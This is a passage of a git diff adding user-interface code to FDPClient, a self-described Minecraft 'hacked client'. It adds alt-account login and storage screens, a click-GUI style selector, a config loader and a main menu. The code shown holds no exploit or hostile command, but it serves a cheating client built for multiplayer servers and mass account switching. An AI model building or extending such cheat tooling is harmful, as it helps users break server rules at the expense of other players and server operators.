net.minecraft.client.gui.GuiTextField +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import org.lwjgl.input.Keyboard + +class GuiAdd(private val prevGui: GuiAltManager) : GuiScreen() { + private lateinit var username: GuiTextField + private lateinit var password: GuiPasswordField + private var status: String? = "§7Idle..." + + override fun initGui() { + Keyboard.enableRepeatEvents(true) + buttonList.add(GuiButton(1, width / 2 - 100, height / 4 + 72, "%ui.alt.add%")) + buttonList.add(GuiButton(2, width / 2 - 100, height / 4 + 96, "%ui.alt.clipBoardLogin%")) + buttonList.add(GuiButton(0, width / 2 - 100, height / 4 + 120, "%ui.back%")) + username = GuiTextField(2, mc.fontRendererObj, width / 2 - 100, 60, 200, 20) + username.isFocused = true + username.maxStringLength = Int.MAX_VALUE + password = GuiPasswordField(3, mc.fontRendererObj, width / 2 - 100, 85, 200, 20) + password.maxStringLength = Int.MAX_VALUE + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + drawBackground(0) + drawCenteredString(mc.fontRendererObj, LanguageManager.getAndFormat("ui.alt.add"), width / 2, 34, 0xffffff) + drawCenteredString(mc.fontRendererObj, if (status == null) "" else status, width / 2, height / 4 + 60, 0xffffff) + username.drawTextBox() + password.drawTextBox() + if (username.text.isEmpty() && !username.isFocused) { + drawCenteredString(mc.fontRendererObj, "§7${LanguageManager.getAndFormat("ui.alt.loginUsername")}", width / 2 - 55, 66, 0xffffff) + } + if (password.text.isEmpty() && !password.isFocused) { + drawCenteredString(mc.fontRendererObj, "§7${LanguageManager.getAndFormat("ui.alt.loginPassword")}", width / 2 - 74, 91, 0xffffff) + } + "Add ms@ before your real username can login microsoft account without browser!".also { + mc.fontRendererObj.drawString(it, width - mc.fontRendererObj.getStringWidth(it), height - mc.fontRendererObj.FONT_HEIGHT, 0xffffff) + } + super.drawScreen(mouseX, mouseY, partialTicks) + } + + override fun actionPerformed(button: GuiButton) { + if (!button.enabled) return + when (button.id) { + 0 -> mc.displayGuiScreen(prevGui) + 1 -> { + if (FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.any { it.name == username.text }) { + status = "§c${LanguageManager.getAndFormat("ui.alt.alreadyAdded")}" + return + } + FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.add(AccountSerializer.accountInstance(username.text, password.text)) + FDPClient.fileManager.saveConfig(FDPClient.fileManager.accountsConfig) + actionPerformed(buttonList.find { it.id == 0 }!!) + } + 2 -> { + val args = getClipboardString().split(":") + username.text = args[0] + password.text = args.getOrNull(1) ?: "" + actionPerformed(buttonList.find { it.id == 1 }!!) + } + } + super.actionPerformed(button) + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + when (keyCode) { + Keyboard.KEY_ESCAPE -> { + mc.displayGuiScreen(prevGui) + return + } + Keyboard.KEY_RETURN -> { + actionPerformed(buttonList.find { it.id == 1 }!!) + return + } + } + if (username.isFocused) username.textboxKeyTyped(typedChar, keyCode) + if (password.isFocused) password.textboxKeyTyped(typedChar, keyCode) + super.keyTyped(typedChar, keyCode) + } + + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + username.mouseClicked(mouseX, mouseY, mouseButton) + password.mouseClicked(mouseX, mouseY, mouseButton) + super.mouseClicked(mouseX, mouseY, mouseButton) + } + + override fun updateScreen() { + username.updateCursorCounter() + password.updateCursorCounter() + super.updateScreen() + } + + override fun onGuiClosed() { + Keyboard.enableRepeatEvents(false) + super.onGuiClosed() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiDirectLogin.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiDirectLogin.kt new file mode 100644 index 0000000..8267896 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiDirectLogin.kt @@ -0,0 +1,109 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.altmanager.sub + +import me.liuli.elixir.manage.AccountSerializer +import net.ccbluex.liquidbounce.ui.client.altmanager.GuiAltManager +import net.ccbluex.liquidbounce.ui.elements.GuiPasswordField +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import net.minecraft.client.gui.GuiTextField +import org.lwjgl.input.Keyboard + +class GuiDirectLogin(private val prevGui: GuiAltManager) : GuiScreen() { + private lateinit var username: GuiTextField + private lateinit var password: GuiPasswordField + private var status = "§7${LanguageManager.getAndFormat("ui.alt.idle")}" + + override fun initGui() { + Keyboard.enableRepeatEvents(true) + buttonList.add(GuiButton(1, width / 2 - 100, height / 4 + 72, "%ui.alt.login%")) + buttonList.add(GuiButton(2, width / 2 - 100, height / 4 + 96, "%ui.alt.clipBoardLogin%")) + buttonList.add(GuiButton(0, width / 2 - 100, height / 4 + 120, "%ui.back%")) + username = GuiTextField(2, mc.fontRendererObj, width / 2 - 100, 60, 200, 20) + username.isFocused = true + username.maxStringLength = Int.MAX_VALUE + password = GuiPasswordField(3, mc.fontRendererObj, width / 2 - 100, 85, 200, 20) + password.maxStringLength = Int.MAX_VALUE + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + drawBackground(0) + drawCenteredString(mc.fontRendererObj, LanguageManager.getAndFormat("ui.alt.directLogin"), width / 2, 34, 0xffffff) + drawCenteredString(mc.fontRendererObj, status, width / 2, height / 4 + 60, 0xffffff) + username.drawTextBox() + password.drawTextBox() + if (username.text.isEmpty() && !username.isFocused) { + drawCenteredString(mc.fontRendererObj, "§7${LanguageManager.getAndFormat("ui.alt.loginUsername")}", width / 2 - 55, 66, 0xffffff) + } + if (password.text.isEmpty() && !password.isFocused) { + drawCenteredString(mc.fontRendererObj, "§7${LanguageManager.getAndFormat("ui.alt.loginPassword")}", width / 2 - 74, 91, 0xffffff) + } + "Add ms@ before your real username can login microsoft account without browser!".also { + mc.fontRendererObj.drawString(it, width - mc.fontRendererObj.getStringWidth(it), height - mc.fontRendererObj.FONT_HEIGHT, 0xffffff) + } + super.drawScreen(mouseX, mouseY, partialTicks) + } + + override fun actionPerformed(button: GuiButton) { + if (!button.enabled) return + when (button.id) { + 0 -> mc.displayGuiScreen(prevGui) + 1 -> { + if (username.text.isEmpty()) { + status = "§c${LanguageManager.getAndFormat("ui.alt.fillBoth")}" + return + } + Thread { + val res = GuiAltManager.login(AccountSerializer.accountInstance(username.text, password.text)) + status = "§a${LanguageManager.getAndFormat("ui.alt.loggingIn")}" + status = res + }.start() + } + 2 -> { + val args = getClipboardString().split(":") + username.text = args[0] + password.text = args.getOrNull(1) ?: "" + actionPerformed(buttonList.find { it.id == 1 }!!) + } + } + super.actionPerformed(button) + } + + override fun keyTyped(typedChar: Char, keyCode: Int) { + when (keyCode) { + Keyboard.KEY_ESCAPE -> { + mc.displayGuiScreen(prevGui) + return + } + Keyboard.KEY_RETURN -> { + actionPerformed(buttonList.find { it.id == 1 }!!) + return + } + } + if (username.isFocused) username.textboxKeyTyped(typedChar, keyCode) + if (password.isFocused) password.textboxKeyTyped(typedChar, keyCode) + super.keyTyped(typedChar, keyCode) + } + + override fun mouseClicked(mouseX: Int, mouseY: Int, mouseButton: Int) { + username.mouseClicked(mouseX, mouseY, mouseButton) + password.mouseClicked(mouseX, mouseY, mouseButton) + super.mouseClicked(mouseX, mouseY, mouseButton) + } + + override fun updateScreen() { + username.updateCursorCounter() + password.updateCursorCounter() + super.updateScreen() + } + + override fun onGuiClosed() { + Keyboard.enableRepeatEvents(false) + super.onGuiClosed() + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiMicrosoftLoginPending.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiMicrosoftLoginPending.kt new file mode 100644 index 0000000..2eaa697 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/altmanager/sub/GuiMicrosoftLoginPending.kt @@ -0,0 +1,57 @@ +package net.ccbluex.liquidbounce.ui.client.altmanager.sub + +import me.liuli.elixir.account.MicrosoftAccount +import me.liuli.elixir.compat.OAuthServer +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.ClientUtils +import net.ccbluex.liquidbounce.utils.extensions.drawCenteredString +import net.ccbluex.liquidbounce.utils.misc.MiscUtils +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen + +class GuiMicrosoftLoginPending(private val prevGui: GuiScreen) : GuiScreen() { + private var stage = "Initializing..." + private lateinit var server: OAuthServer + + override fun initGui() { + server = MicrosoftAccount.Companion.buildFromOpenBrowser(object : MicrosoftAccount.OAuthHandler { + override fun openUrl(url: String) { + stage = "Check your browser to continue. Browser didn't open? Check your minecraft log." + ClientUtils.logInfo("Opening URL: $url") + MiscUtils.showURL(url) + } + + override fun authError(error: String) { + stage = "Error: $error" + } + + override fun authResult(account: MicrosoftAccount) { + if (FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.any { it.name == account.name }) { + stage = "§c${LanguageManager.getAndFormat("ui.alt.alreadyAdded")}" + return + } + FDPClient.fileManager.accountsConfig.altManagerMinecraftAccounts.add(account) + FDPClient.fileManager.saveConfig(FDPClient.fileManager.accountsConfig) + mc.displayGuiScreen(prevGui) + } + }) + + buttonList.add(GuiButton(0, width / 2 - 100, height / 4 + 120 + 12, "Cancel")) + } + + override fun actionPerformed(button: GuiButton) { + if (button.id == 0) { + server.stop(true) + mc.displayGuiScreen(prevGui) + } + } + + override fun drawScreen(mouseX: Int, mouseY: Int, partialTicks: Float) { + this.drawDefaultBackground() + + fontRendererObj.drawCenteredString(stage, width / 2f, height / 2f - 50, 0xffffff) + + super.drawScreen(mouseX, mouseY, partialTicks) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/AnimationUtil.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/AnimationUtil.java new file mode 100644 index 0000000..9f99bbf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/AnimationUtil.java @@ -0,0 +1,44 @@ +package net.ccbluex.liquidbounce.ui.client.gui; + +public class AnimationUtil { + public static float calculateCompensation(float target, float current, long delta, int speed) { + float diff = current - target; + if (delta < 1L) { + delta = 1L; + } + + double xD; + if (diff > (float) speed) { + xD = (double) ((long) speed * delta / 16L) < 0.25D ? 0.5D : (double) ((long) speed * delta / 16L); + current = (float) ((double) current - xD); + if (current < target) { + current = target; + } + } else if (diff < (float) (-speed)) { + xD = (double) ((long) speed * delta / 16L) < 0.25D ? 0.5D : (double) ((long) speed * delta / 16L); + current = (float) ((double) current + xD); + if (current > target) { + current = target; + } + } else { + current = target; + } + + return current; + } + + public static float animate(float target, float current, double speed) { + boolean larger = target > current; + if (speed < 0.0F) { + speed = 0.0F; + } else if (speed > 1.0F) { + speed = 1.0F; + } + float dif = Math.max(target, current) - Math.min(target, current); + float factor = (float) (dif * speed); + current = larger ? current + factor : current - factor; + return current; + } + +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/ClickGUIModule.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/ClickGUIModule.kt new file mode 100644 index 0000000..5a375fd --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/ClickGUIModule.kt @@ -0,0 +1,120 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui + +import net.ccbluex.liquidbounce.event.EventTarget +import net.ccbluex.liquidbounce.event.PacketEvent +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.ClickGui +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.* +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.Slight.SlightUI +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.dropdown.DropdownGUI +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.light.LightClickGUI +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.newVer.NewUi +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline.ClickyUI +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.onetap.OtcClickGUi +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.minecraft.network.play.server.S2EPacketCloseWindow +import org.lwjgl.input.Keyboard +import java.awt.Color +import java.util.* + +@ModuleInfo(name = "ClickGUI", category = ModuleCategory.CLIENT, keyBind = Keyboard.KEY_RSHIFT, canEnable = false) +object ClickGUIModule : Module() { + + val styleValue: ListValue = object : ListValue( + "Style", + arrayOf( + "Classic", + "OneTap", + "Light", + "Novoline", + "Astolfo", + "LB+", + "Jello", + "LiquidBounce", + "Tenacity5", + "Slight", + "Null", + "Slowly", + "Black", + "White" + ), + "Black" + ) { + override fun onChanged(oldValue: String, newValue: String) { + updateStyle() + } + } + + val scaleValue = FloatValue("Scale", 0.70f, 0.7f, 2f) + val maxElementsValue = IntegerValue("MaxElements", 20, 1, 35) + val backgroundValue = ListValue("Background", arrayOf("Default", "Gradient", "None"), "None") + val animationValue = ListValue("Animation", arrayOf("Bread", "Slide", "LiquidBounce", "Zoom", "Ziul", "None"), "Ziul") + val colorRainbow = BoolValue("Rainbow", true) + val colorRedValue = IntegerValue("R", 0, 0, 255).displayable { !colorRainbow.get() } as IntegerValue + val colorGreenValue = IntegerValue("G", 160, 0, 255).displayable { !colorRainbow.get() } as IntegerValue + val colorBlueValue = IntegerValue("B", 255, 0, 255).displayable { !colorRainbow.get() } as IntegerValue + val fastRenderValue = BoolValue("FastRender", false) + val getClosePrevious = BoolValue("ClosePrevious", false) + val disp = BoolValue("DisplayValue", true) + + private var lightClickGUI = LightClickGUI() + private var otcGui = OtcClickGUi() + private var novoline = ClickyUI() + private var slight = SlightUI() + private var dropdown = DropdownGUI() + + override fun onEnable() { + when { + styleValue.get().contains("Novoline") -> mc.displayGuiScreen(novoline) + styleValue.get().contains("OneTap") -> mc.displayGuiScreen(otcGui) + styleValue.get().contains("Light") -> mc.displayGuiScreen(lightClickGUI) + styleValue.get().equals("Classic", ignoreCase = true) -> mc.displayGuiScreen(dropdown) + styleValue.get().equals("LB+", ignoreCase = true) -> mc.displayGuiScreen(NewUi.getInstance()) + styleValue.get().contains("Slight") -> mc.displayGuiScreen(slight) + else -> { + updateStyle() + mc.displayGuiScreen(modernuiLaunchOption.clickGui) + } + } + this.state = false + } + private fun updateStyle() { + when (styleValue.get().lowercase(Locale.getDefault())) { + "liquidbounce" -> modernuiLaunchOption.clickGui.style = LiquidBounceStyle() + "null" -> modernuiLaunchOption.clickGui.style = NullStyle() + "slowly" -> modernuiLaunchOption.clickGui.style = SlowlyStyle() + "black", "white" -> modernuiLaunchOption.clickGui.style = if (styleValue.get() == "White") WhiteStyle() else BlackStyle() + "jello" -> modernuiLaunchOption.clickGui.style = JelloStyle() + "tenacity5" -> modernuiLaunchOption.clickGui.style = TenacityStyle() + "astolfo" -> modernuiLaunchOption.clickGui.style = AstolfoStyle() + } + } + + fun generateColor(): Color { + return if (colorRainbow.get()) { + rainbow() + } else { + Color(colorRedValue.get(), colorGreenValue.get(), colorBlueValue.get()) + } + } + + @EventTarget(ignoreCondition = true) + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S2EPacketCloseWindow && mc.currentScreen is ClickGui) { + event.cancelEvent() + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/ClickGuiConfig.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/ClickGuiConfig.java new file mode 100644 index 0000000..06dba5a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/ClickGuiConfig.java @@ -0,0 +1,97 @@ +package net.ccbluex.liquidbounce.ui.client.gui; + +import com.google.gson.JsonElement; +import com.google.gson.JsonNull; +import com.google.gson.JsonObject; +import com.google.gson.JsonParser; +import net.ccbluex.liquidbounce.file.FileConfig; +import net.ccbluex.liquidbounce.file.FileManager; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.Panel; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.Element; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption; +import net.ccbluex.liquidbounce.utils.ClientUtils; + +import java.io.File; + +public class ClickGuiConfig extends FileConfig { + + public ClickGuiConfig(final File file) { + super(file); + } + + @Override + public void loadConfig(String config) { + final JsonElement jsonElement = new JsonParser().parse(config); + + if (jsonElement instanceof JsonNull) + return; + + final JsonObject jsonObject = (JsonObject) jsonElement; + + for (final Panel panel : modernuiLaunchOption.clickGui.panels) { + if (!jsonObject.has(panel.getCategory().getConfigName())) + continue; + + try { + final JsonObject panelObject = jsonObject.getAsJsonObject(panel.getCategory().getConfigName()); + + panel.setOpen(panelObject.get("open").getAsBoolean()); + panel.setVisible(panelObject.get("visible").getAsBoolean()); + panel.setX(panelObject.get("posX").getAsInt()); + panel.setY(panelObject.get("posY").getAsInt()); + + for (final Element element : panel.getElements()) { + if (!(element instanceof ModuleElement)) + continue; + + final ModuleElement moduleElement = (ModuleElement) element; + + if (!panelObject.has(moduleElement.getModule().getName())) + continue; + + try { + final JsonObject elementObject = panelObject.getAsJsonObject(moduleElement.getModule().getName()); + + moduleElement.setShowSettings(elementObject.get("Settings").getAsBoolean()); + } catch (final Exception e) { + ClientUtils.INSTANCE.logError("Error while loading clickgui module element with the name '" + moduleElement.getModule().getName() + "' (Panel Name: " + panel.getCategory().getConfigName() + ").", e); + } + } + } catch (final Exception e) { + ClientUtils.INSTANCE.logError("Error while loading clickgui panel with the name '" + panel.getCategory().getConfigName() + "'.", e); + } + } + } + + @Override + public String saveConfig() { + final JsonObject jsonObject = new JsonObject(); + + for (final Panel panel : modernuiLaunchOption.clickGui.panels) { + final JsonObject panelObject = new JsonObject(); + + panelObject.addProperty("open", panel.getOpen()); + panelObject.addProperty("visible", panel.isVisible()); + panelObject.addProperty("posX", panel.getX()); + panelObject.addProperty("posY", panel.getY()); + + for (final Element element : panel.getElements()) { + if (!(element instanceof ModuleElement)) + continue; + + final ModuleElement moduleElement = (ModuleElement) element; + + final JsonObject elementObject = new JsonObject(); + + elementObject.addProperty("Settings", moduleElement.isShowSettings()); + + panelObject.add(moduleElement.getModule().getName(), elementObject); + } + + jsonObject.add(panel.getCategory().getConfigName(), panelObject); + } + + return FileManager.Companion.getPRETTY_GSON().toJson(jsonObject); + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/EnumLaunchFilter.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/EnumLaunchFilter.kt new file mode 100644 index 0000000..ff6b6c5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/EnumLaunchFilter.kt @@ -0,0 +1,5 @@ +package net.ccbluex.liquidbounce.ui.client.gui + +enum class EnumLaunchFilter { + MODERN_UI +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/GuiLaunchOptionSelectMenu.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/GuiLaunchOptionSelectMenu.kt new file mode 100644 index 0000000..278205a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/GuiLaunchOptionSelectMenu.kt @@ -0,0 +1,34 @@ +package net.ccbluex.liquidbounce.ui.client.gui + +import net.ccbluex.liquidbounce.FDPClient +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.gui.GuiScreen +import java.awt.Color + +class GuiLaunchOptionSelectMenu : GuiScreen() { + override fun initGui() { + + FDPClient.launchFilters.addAll(when (0) { + 0 -> arrayListOf(EnumLaunchFilter.MODERN_UI) + else -> emptyList() + }) + + FDPClient.startClient() + + if(mc.currentScreen is GuiLaunchOptionSelectMenu) + mc.displayGuiScreen(FDPClient.mainMenu) + } + + override fun drawScreen(mouseX: Int, mouseY: Int, pTicks: Float) { + drawDefaultBackground() + + drawCenteredString(mc.fontRendererObj, "FDPClient Loading...", width / 2, height / 2 - 40, Color.WHITE.rgb) + + super.drawScreen(mouseX, mouseY, pTicks) + } + + override fun actionPerformed(button: GuiButton) { + } + + override fun keyTyped(p_keyTyped_1_: Char, p_keyTyped_2_: Int) { } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/GuiMainMenu.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/GuiMainMenu.java new file mode 100644 index 0000000..d915a71 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/GuiMainMenu.java @@ -0,0 +1,94 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.font.FontLoaders; +import net.ccbluex.liquidbounce.ui.client.altmanager.GuiAltManager; +import net.ccbluex.liquidbounce.utils.MainMenuButton; +import net.ccbluex.liquidbounce.utils.render.ParticleUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.gui.*; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.ResourceLocation; +import net.minecraftforge.fml.client.GuiModList; + +import java.awt.*; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Iterator; +public class GuiMainMenu extends GuiScreen implements GuiYesNoCallback { + public final ArrayList butt = new ArrayList(); + private float currentX; + private float currentY; + private ScaledResolution res; + + public void initGui() { + this.butt.clear(); + this.butt.add(new MainMenuButton("G", "SinglePlayer", () -> this.mc.displayGuiScreen(new GuiSelectWorld(this)))); + this.butt.add(new MainMenuButton("H", "MultiPlayer", () -> this.mc.displayGuiScreen(new GuiMultiplayer(this)))); + this.butt.add(new MainMenuButton("I", "AltManager", () -> this.mc.displayGuiScreen(new GuiAltManager(this)))); + this.butt.add(new MainMenuButton("J", "Mods", () -> this.mc.displayGuiScreen(new GuiModList(this)), 0.5F)); + this.butt.add(new MainMenuButton("K", "Options", () -> this.mc.displayGuiScreen(new GuiOptions(this, this.mc.gameSettings)))); + this.butt.add(new MainMenuButton("L", "Languages", () -> this.mc.displayGuiScreen(new GuiLanguage(this, this.mc.gameSettings, this.mc.getLanguageManager())))); + this.butt.add(new MainMenuButton("M", "Quit", () -> this.mc.shutdown())); + this.res = new ScaledResolution(this.mc); + super.initGui(); + } + + public void drawScreen(int mouseX, int mouseY, float partialTicks) { + try { + this.drawGradientRect(0, 0, this.width, this.height, 16777215, 16777215); + int h = this.height; + int w = this.width; + float xDiff = ((float) (mouseX - h / 2) - this.currentX) / (float) this.res.getScaleFactor(); + float yDiff = ((float) (mouseY - w / 2) - this.currentY) / (float) this.res.getScaleFactor(); + this.currentX += xDiff * 0.3F; + this.currentY += yDiff * 0.3F; + GlStateManager.translate(this.currentX / 30.0F, this.currentY / 15.0F, 0.0F); + RenderUtils.drawImage(new ResourceLocation("fdpclient/japanesebackground.png"), -30, -30, this.res.getScaledWidth() + 60, this.res.getScaledHeight() + 60); + GlStateManager.translate(-this.currentX / 30.0F, -this.currentY / 15.0F, 0.0F); + RenderUtils.drawRoundedCornerRect((float) this.width / 2.0F - 80.0F * ((float) this.butt.size() / 2.0F) - 3f, (float) this.height / 2.0F - 100.0F - 3f, (float) this.width / 2.0F + 80.0F * ((float) this.butt.size() / 2.0F) + 3f, (float) this.height / 2.0F + 103.0F, 10, new Color(0, 0, 0, 80).getRGB()); + FontLoaders.F18.drawCenteredString("Made by SkidderMC with love.",(float)this.width / 2.0F,(float)this.height / 2.0F + 70.0F,new Color(255,255,255,255).getRGB()); + //BlurUtils.INSTANCE.draw(0, 0, mc.displayWidth, mc.displayHeight, 30f); + FontLoaders.F40.drawCenteredString("FDPCLIENTX-REBORN",(float)this.width / 2.0F,(float)this.height / 2.0F - 70.0F,new Color(255,255,255).getRGB()); + //BlurUtils.INSTANCE.draw(0, 0, mc.displayWidth, mc.displayHeight, 10f); + ParticleUtils.drawParticles(mouseX, mouseY); + RenderUtils.drawRoundedCornerRect((float) this.width / 2.0F - 80.0F * ((float) this.butt.size() / 2.0F), (float) this.height / 2.0F - 100.0F, (float) this.width / 2.0F + 80.0F * ((float) this.butt.size() / 2.0F), (float) this.height / 2.0F + 100.0F, 10, new Color(0, 0, 0, 100).getRGB()); + //RenderUtils.drawRect((float)this.width / 2.0F - 50.0F * ((float)this.butt.size() / 2.0F), (float)this.height / 2.0F + 20.0F, (float)this.width / 2.0F + 50.0F * ((float)this.butt.size() / 2.0F), (float)this.height / 2.0F + 50.0F, 1040187392); + float startX = (float) this.width / 2.0F - 64.5F * ((float) this.butt.size() / 2.0F); + + for (Iterator var9 = this.butt.iterator(); var9.hasNext(); startX += 75.0F) { + MainMenuButton button = (MainMenuButton) var9.next(); + button.draw(startX, (float) this.height / 2.0F + 20.0F, mouseX, mouseY); + } + FontLoaders.F40.drawCenteredString("FDPCLIENTX-REBORN",(float)this.width / 2.0F,(float)this.height / 2.0F - 70.0F,new Color(255,255,255).getRGB()); + FontLoaders.F18.drawCenteredString(FDPClient.CLIENT_VERSION,(float)this.width / 2.0F,(float)this.height / 2.0F - 30.0F,new Color(255,255,255).getRGB()); + RenderUtils.drawRect((float)this.width / 2.0F - 30f,(float)this.height / 2.0F - 40.0F,(float)this.width / 2.0F + 30f,(float)this.height / 2.0F - 39.5F,new Color(255,255,255,100).getRGB()); + FontLoaders.F18.drawCenteredString("Made by SkidderMC with love.",(float)this.width / 2.0F,(float)this.height / 2.0F + 70.0F,new Color(255,255,255,100).getRGB()); + + }catch (Exception e){ + e.printStackTrace(); + } + super.drawScreen(mouseX, mouseY, partialTicks); + } + + protected void mouseClicked(int mouseX, int mouseY, int mouseButton) throws IOException { + Iterator var4 = this.butt.iterator(); + + while(var4.hasNext()) { + MainMenuButton button = (MainMenuButton)var4.next(); + button.mouseClick(mouseX, mouseY, mouseButton); + } + + super.mouseClicked(mouseX, mouseY, mouseButton); + } + + public void updateScreen() { + this.res = new ScaledResolution(this.mc); + super.updateScreen(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/LaunchFilterInfo.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/LaunchFilterInfo.kt new file mode 100644 index 0000000..92a54c8 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/LaunchFilterInfo.kt @@ -0,0 +1,4 @@ +package net.ccbluex.liquidbounce.ui.client.gui + +@kotlin.annotation.Retention(AnnotationRetention.RUNTIME) +annotation class LaunchFilterInfo(val filters: Array<EnumLaunchFilter>) diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/LaunchOption.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/LaunchOption.kt new file mode 100644 index 0000000..6a3c9d2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/LaunchOption.kt @@ -0,0 +1,16 @@ +package net.ccbluex.liquidbounce.ui.client.gui + +/** + * used at initialize something dynamic + */ +abstract class LaunchOption { + /** + * called when startClient + */ + open fun start() {} + + /** + * called when stopClient + */ + open fun stop() {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/ClickGui.java b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/ClickGui.java new file mode 100644 index 0000000..d1352e5 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/gui/clickgui/ClickGui.java @@ -0,0 +1,302 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.gui.clickgui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.Module; +import net.ccbluex.liquidbounce.features.module.ModuleCategory; +import net.ccbluex.liquidbounce.ui.client.gui.ClickGUIModule; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ButtonElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.Element; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.elements.ModuleElement; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.Style; +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.SlowlyStyle; +import net.ccbluex.liquidbounce.ui.client.gui.options.modernuiLaunchOption; +import net.ccbluex.liquidbounce.ui.client.hud.designer.GuiHudDesigner; +import net.ccbluex.liquidbounce.ui.font.AWTFontRenderer; +import net.ccbluex.liquidbounce.utils.render.ColorUtils; +import net.ccbluex.liquidbounce.utils.render.EaseUtils; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import 